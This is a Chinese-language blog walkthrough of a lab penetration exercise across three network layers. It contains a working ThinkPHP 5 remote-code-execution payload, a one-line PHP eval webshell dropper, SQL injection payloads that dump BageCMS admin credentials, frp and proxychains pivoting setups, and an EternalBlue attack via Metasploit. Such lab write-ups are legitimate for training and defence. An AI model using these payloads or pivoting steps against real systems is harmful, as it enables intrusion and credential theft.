打穿你的內網之三層內網滲透

2022-09-17 21:00:35

引言

​ 在過去的一些實戰經歷中發現自己內網相關的技能還比較薄弱,所以專門找了個靶場(teamssix.com)做下練習,靶場的web漏洞利用都很簡單,主要訓練自己內網搭代理隧道的熟練度,如果你和我一樣對複雜網路下隧道搭建不熟悉的話,不妨一起看看這篇文章,希望能對你有一些幫助。

目標:拿下內網最深處主機的flag.txt 檔案

外網打點

​ 在網際網路環境下發現一處資產 ,這裡以 x.x.220.130 替代,直接存取 x.x.220.130 發現以下頁面:

​ 很明顯這是一個thinkphp應用,隨便指定一個路由http://x.x.220.130/index.php/?s=123,爆出thinkphp的詳細版本。

​ tp5在5.0-5.0.245.1.0-5.1.30都是存在RCE(Remote code Execution)的,這裡運氣很好,直接使用5.0.x路由預設相容模式進行RCE,使用以下payload 執行id命令:

http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=id

​ 可以看見命令執行成功。

​ 接下來直接寫入一個shell ,使用php 的 file_put_contents 函數寫個一句話木馬:

http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=qaxnb.php&vars[1][1]=%3C?php%20@eval($_POST[%27qaxnb666%27]);?%3E

​ 驗證:

​ 驗證成功,直接使用蟻劍進行連線。

​ 將超時時間調高,因為後續會上傳檔案避免超時而中斷:

連線成功:

​ 第一層的flag就在網站根目錄下面, 直接雙擊讀取即可:

突破邊界(第一層)

​ 接上文,已經拿下第一臺伺服器,嘗試對這臺伺服器進行資訊收集:

​ 拿下的這臺伺服器發現許可權並不高僅為www,但是有驚喜的是這臺機器存在雙網路卡,其中一張網路卡(ens37)繫結了內網ip(192.168.22.131),證明這臺伺服器處於企業架構的DMZ(非軍事區)區域,且是兩個網段的邊界節點,那麼我們只要藉助這臺伺服器作為跳板即可進入這家企業的內網,至少進入了192.168.22.x/24網段的內網。

22 網段資訊收集

​ 既然發現了存在192.168.22.x/24 網段,所以嘗試對 22 網段進行資訊收集,這裡使用fscan (https://github.com/shadow1ng/fscan)工具進行內網大保健.

​ 上傳fscan 到伺服器目錄/tmp

​ 對 192.168.22.x/24 網段進行掃描:

./fscan -h 192.168.22.1/24 -o fscan.log

​ 檢視掃描結果:

​ 發現網段內還存在192.168.22.128 192.168.22.129 , 且192.168.22.128:80 存在 cms服務。

​ 接下來的目標就是拿下192.168.22.128 伺服器,直接通過DMZ這臺伺服器因為許可權太低所以不能直接用它來滲透,所以需要

以第一臺服務作為跳板。

搭建跳板

​ 先畫個網路拓撲圖,方便後續理解,第一臺機器我們也叫它Target 1.

​ 因為在上一步資訊收集時發現192.168.22.128:80 (Target 2)存在 cms服務,有兩種方式進行利用:

  1. 對 Target 2 80 埠進行埠轉發。
  2. 使用反向代理,將Target 1 的網路通過vps代理出去。

​ 為了進一步對內網進行探測,這裡選擇第二種方式。

​ 反向代理有很多工具可以使用,frp、ew、ngrok都可以,這裡使用frp方式。

​ frp存在伺服器端(frps)與使用者端(frpc), frps需要一直保持執行,轉發方式通過使用者端組態檔進行確定。

啟用frp 伺服器端

​ 下載frps到自己的vps上,frps.ini 設定如下 :

​ 其中 token 表示使用者端進行連線的驗證引數, 監聽埠為17001, dashboard 為frps自帶的儀表盤,方便對frps執行情況進行檢視,

使用命令frps -c frps.ini 啟動即可,如果想要後臺執行,可以加入service或者使用nohup啟動。

​ netstat 檢視對應埠在監聽則證明啟動成功。使用設定的dashboard埠也能成功進入。

Target1 使用者端設定

​ 將frpc 傳入target1 /tmp/frp目錄:

frpc.ini 設定內容:

其中common內容與frps.ini保持一致即可, target1使用者端分別設定了socks5與http的代理方式,使用frpc -c frpc.ini 進行啟動:

在 vps 伺服器端分別發現了16004與16005埠,證明代理搭建成功!

這樣就相當於打通了外部與該企業的內網,在網際網路掛著vps 16004/16005的代理就能存取 Target2 所在的網段:

進入第二層內網

​ 在上一步驟中已經搭建好了內網代理,現在進行以下測試,首先在沒有使用代理時,192.168.22.128是無法存取的:

​ 通過瀏覽器外掛設定代理,因為瀏覽器不支援socks5 代理的加密認證,所以這裡設定http方式

​ 再次存取192.168.22.128 ,成功存取,到此我們就已經存取了企業第二層內網:

​ 雖然這裡瀏覽器能夠正常存取了,但是在滲透的過程中常常會使用安全工具進行掃描或者漏洞利用,這些工具大部分沒有預留走代理的設定,或者系統的代理往往不會生效,這種情況怎麼辦呢?

​ 所以這時候強制代理工具就很重要了,強制代理工具也有很多,這裡使用proxifer,這款工具在win/mac下都有比較方便。

### 對`Target2` 進行埠掃描

​ 雖然在之前的掃描中發現了Target2 80埠存在一個cms,但是 滲透總是照著軟柿子捏,我們嘗試使用nmap 對Target2 進行埠掃描,尋找其開放的埠。

​ 1. 首先需要設定Proxifer ,先設定代理伺服器

  1. 需要設定代理規則,按照下圖設定:

  1. 使用nmap 進行掃描,注意的是socks本身也是建立在tcp基礎上的,所以nmap只能以tcp全連線的方式進行掃描,即:nmap -sT 192.168.22.128 -Pn

​ 對21、22、3306 都進行了弱口令嘗試,但無解,888、8888 是寶塔的控制面板介面,嘗試了寶塔之前的phpmyadmin未授權存取也無解。看樣子只能對80埠下手。

Bage cms 滲透

​ 通過檢視網頁底部指紋資訊,知道這是一個bage cms搭建的網站,而且從時間上來看有些老舊。

​ 通過在網上尋找bage cms的利用點發現均為一些任意檔案讀取或者xss等後管的漏洞利用,雖然通過路徑掃描找到了後臺地址:http://192.168.22.128/index.php?r=admini/public/login

​ 但並沒有弱口令,而且因為有驗證碼 所以也沒法爆破,這個時候就茫然了,完全拿不下。

​ 但總得抓個包先看看吧,聯想到之前某活動,有個巨佬通過註釋找到利用點拿到shell的場景,我這次也留意了註釋的內容,刺激的是果然在註釋裡面有提示!

sql手工注入一把梭

​ 存取提示的地址http://192.168.22.128/index.php?r=vul&keyword=1

​ 加上單引號,典型的mysql報錯注入:

​ 所以使用報錯注入注出後管使用者名稱和密碼就好(中途發現報錯注入顯示的字元長度有限制,後面轉成了聯合注入),細節就不完整放了,很基礎,貼下過程中的payload:

-- 資料庫 
-- bagecms
1'/**/and/**/updatexml(1,(concat(0x7e,database(),0x7e)),1)%3d'1+ 
-- 注使用者 
-- bagecms@localhost
1'/**/and/**/updatexml(1,(concat(0x7e,user(),0x7e)),1)%3d'1+
-- 注表
-- bage_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload
1'+union+select+(select+group_concat(distinct+table_name)+from+information_schema.tables+where+table_schema%3d'bagecms'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23 
-- 注段
-- id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time
1'+union+select+(select+group_concat(distinct+column_name)+from+information_schema.columns+where+table_schema%3d'bagecms'+and+table_name%3d'bage_admin'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注使用者名稱
-- admin
1'+union+select+(select+group_concat(distinct+username)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注密碼
-- 46f94c8de14fb36680850768ff1b7f2a (123qwe)
1'+union+select+(select+group_concat(distinct+password)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23

​ 把注入出來的md5 密碼去解一下,得到(admin/123qwe):

放入後門

​ 使用注入得到的賬號密碼進行登入,成功登入。

​ 後管直接把Target2 的flag給顯示出來了,嘗試繼續深入,給這臺服務上傳shell,上傳點存在限制,但是在模板功能模組存在直接編輯模板程式碼的功能,所以很簡單直接把一句話隨便找個檔案放入就好:

​ 嘗試使用蟻劍進行連線,因為Target2 是內網機器,所以要連線shell得先給蟻劍掛代理:

​ 其餘和Target1 一樣進行連線, 連線成功,至此 Target2 也被拿下。

進入第三層內網

​ 同樣的步驟,先對剛拿下的Taget2 進行資訊收集:

發現和 Target1 類似,同樣是雙網路卡,且能存取192.168.33.128 網段,和 Target1 不同的是不能出網,如果類比企業的話,33可能就是企業的核心生產網。

​ 再次上傳fscan,對33網段進行內網大保健:

​ 顯示33網段除了Target2 之外 ,還有一臺192.168.33.33Target3) ,且該主機為win7 ,fscan掃描得出存在永恆之藍漏洞(MS17-010),所以可以再使用Target2的網路對Target3發起永恆之藍攻擊

#### 搭建雙層代理鏈

​ 往內網越深,需要搭建的代理就越多,內網的機器往往都是不出網的,所以需要依賴DMZ的機器作為總的出入口搭建代理鏈。

​ 代理鏈搭建其實很簡單,就是在Target1 上啟動伺服器端,Target2 通過使用者端連線伺服器端, 然後在使用代理時先讓代理走target1 然後再走target2,即:

Hacker <-> VPS <-> Taget1 <-> Taget2 <-> Taget3

​ 給Target1 執行frps 伺服器端,設定使用和vps相同的引數:

​ 上Target2 執行使用者端,其餘設定都一樣,把server_addr 換成開啟伺服器端的Target1ip(注意ip要是22段,不然網路不通)

Target1 上開始監聽Target2 使用者端設定的代理ip時,說明設定成功。

永恆之藍(MS17-010)

​ 永恆之藍這個漏洞很老了,算是復古一波,利用方式在msf裡面就有,所以可以在vps上下載msf,給vps掛上代理鏈即可使用msf發起對Target3 的攻擊。

​ 在linux上對應用進行強制代理的工具可以使用proxychains-ng

proxychains-ng

​ 在centos 上可以很方便的 yum install -y proxychains-ng 安裝即可

​ 組態檔預設在/etc/proxychains.conf ,按照如下順序設定(順序很重要,不能亂),因為我的frps就在這臺vps上,所以直接使用127.0.0.1即可:

​ 剛剛fscan掃描結果可知192.168.33.33 開啟了 139和445 埠,使用proxtchain測試下,使用也非常簡單,在需要代理的命令前面加上
proxychain即可:

proxychains telnet 192.168.33.33 139

從上圖可以看到埠已經通了,這時候就可以開啟msf一把梭了。

msf

  1. 使用proxychains 啟動msfconsole

  1. 搜尋ms17-010,直接使用第一個就好:

  1. 因為Target3 是不能出網的 ,所以不能使用預設的反向payload,需要指定正向payload:

  1. 設定目標引數資訊

  1. exploit !!!

拿到Taget3 最高許可權!嘗試去讀取flag

拿到flag!

截圖:

​ 到這裡已經拿到了第三層的內網主機最高許可權,fscan掃描也沒有其他主機資訊,可以確認這次就基本打穿了。

總結

​ 回顧一下,本次滲透總共通過三個邊界節點的漏洞利用成功拿下身處最內網的Target3,分別通過TP5、Bage cms、永恆之藍作為漏洞利用點,藉助frp 工具搭建代理鏈實現對內網的存取。其實整個過程還是很簡單的,並沒有涉及到域相關的內容,後續有機會再分享。

公眾號

歡迎大家關注我的公眾號,這裡有乾貨滿滿的硬核安全知識,和我一起學起來吧!